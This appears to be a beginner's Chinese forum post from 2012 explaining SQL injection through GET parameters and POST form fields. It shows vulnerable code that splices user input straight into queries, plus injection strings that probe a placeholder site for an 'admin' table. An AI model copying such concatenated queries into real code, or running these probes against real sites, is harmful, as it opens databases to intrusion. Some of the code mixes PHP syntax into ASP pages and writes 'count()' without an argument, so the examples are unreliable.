本帖最后由 Green_leaves 于 2012-6-15 17:00 编辑
get
url: www.abc.com/a.asp?id=1
show.asp
$sql=“select * from news where id=” . $id
injection:www.abc.com/a.asp?id=1 and (select count() from admin)
POST
form
<form action="action.asp" method="post">
name:<input type="text" name="uname">
<input type="submit">
</form>
action.asp
$sql="select * from user where name='" . $uname . "'"
injection:select * from user where name='zhang' and (select count() from admin)
$uname=zhang' and (select (count(*)from admin))'
第一次发帖 难免有错误的地方 希望大家指正
www.abc.com/a.asp?id=1 and (select count(*) from admin)
www.abc.com/a.asp?id=1 and exists (select count(*) from admin)
发现实际情况 这两个语句差不多